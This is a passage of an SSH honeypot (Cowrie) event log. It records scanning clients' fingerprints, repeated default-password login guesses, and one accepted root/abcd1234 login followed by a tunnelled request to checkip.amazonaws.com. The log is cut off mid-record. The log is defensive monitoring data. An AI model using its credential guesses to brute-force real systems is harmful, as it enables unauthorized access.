{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:22:03.106120Z","src_ip":"195.178.110.218","session":"58c2c4475e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:22:03.346478Z","src_ip":"195.178.110.218","session":"58c2c4475e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:22:04.428958Z","src_ip":"195.178.110.218","session":"58c2c4475e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":43906,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccfc49bcd6fc","protocol":"ssh","message":"New connection: 125.20.210.182:43906 (159.203.135.109:22) [session: ccfc49bcd6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:30:13.517937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:30:14.501596Z","src_ip":"125.20.210.182","session":"ccfc49bcd6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:30:14.506516Z","src_ip":"125.20.210.182","session":"ccfc49bcd6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:30:21.833077Z","src_ip":"125.20.210.182","session":"ccfc49bcd6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:30:23.683396Z","src_ip":"125.20.210.182","session":"ccfc49bcd6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":30204,"dst_ip":"10.17.0.5","dst_port":22,"session":"b73273d463b2","protocol":"ssh","message":"New connection: 185.156.73.233:30204 (10.17.0.5:22) [session: b73273d463b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:31:21.080945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:31:21.771248Z","src_ip":"185.156.73.233","session":"b73273d463b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:31:22.165541Z","src_ip":"185.156.73.233","session":"b73273d463b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:31:24.514335Z","src_ip":"185.156.73.233","session":"b73273d463b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:31:26.191119Z","src_ip":"185.156.73.233","session":"b73273d463b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":42944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9816bc6e222","protocol":"ssh","message":"New connection: 125.20.210.182:42944 (159.203.135.109:22) [session: c9816bc6e222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:35:49.283756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:35:50.609040Z","src_ip":"125.20.210.182","session":"c9816bc6e222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:35:50.612547Z","src_ip":"125.20.210.182","session":"c9816bc6e222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"orangepi","message":"login attempt [orangepi/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:35:56.025095Z","src_ip":"125.20.210.182","session":"c9816bc6e222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:35:57.587438Z","src_ip":"125.20.210.182","session":"c9816bc6e222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":22494,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8d3d438ec63","protocol":"ssh","message":"New connection: 185.156.73.233:22494 (159.203.135.109:22) [session: a8d3d438ec63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:23.090854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:24.591412Z","src_ip":"185.156.73.233","session":"a8d3d438ec63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:24.710675Z","src_ip":"185.156.73.233","session":"a8d3d438ec63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:25.465870Z","src_ip":"185.156.73.233","session":"a8d3d438ec63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:26.613862Z","src_ip":"185.156.73.233","session":"a8d3d438ec63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":45184,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b9691178ab3","protocol":"ssh","message":"New connection: 213.209.159.159:45184 (159.203.135.109:22) [session: 7b9691178ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:36.424295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:36.428357Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:36.509815Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina","message":"login attempt [serina/serina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:36.910962Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina1","message":"login attempt [serina/serina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:37.995788Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina123","message":"login attempt [serina/serina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:39.081183Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina1234","message":"login attempt [serina/serina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:40.165612Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serina","password":"serina12345","message":"login attempt [serina/serina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:41.253244Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:42.338238Z","src_ip":"213.209.159.159","session":"7b9691178ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"a417d8c4ef7b","protocol":"ssh","message":"New connection: 185.156.73.233:38796 (159.203.135.109:22) [session: a417d8c4ef7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:49.097255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:49.102066Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:49.178122Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:49.557313Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"185.156.73.233","src_port":32934,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:32934","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:51.095378Z","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:51.319782Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xb5\\x13\\xcbA\\x04\\x13\\xad,\\x9b\\x98k\\x88Ln\\xa0\\xec<\\xa4\\xa7lJQ\\xdc\\xb2f\\xa0@\\xf9\\xd8O\\xe7 OZo\\xc1\\xba\\x19\\xac\\x19\\xca~\\x07A\\x8cs\\x83\\x1e1.\\xb3>*\\r\\xc6\\x80G\\xc8D\\x1b+s\\x89?\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\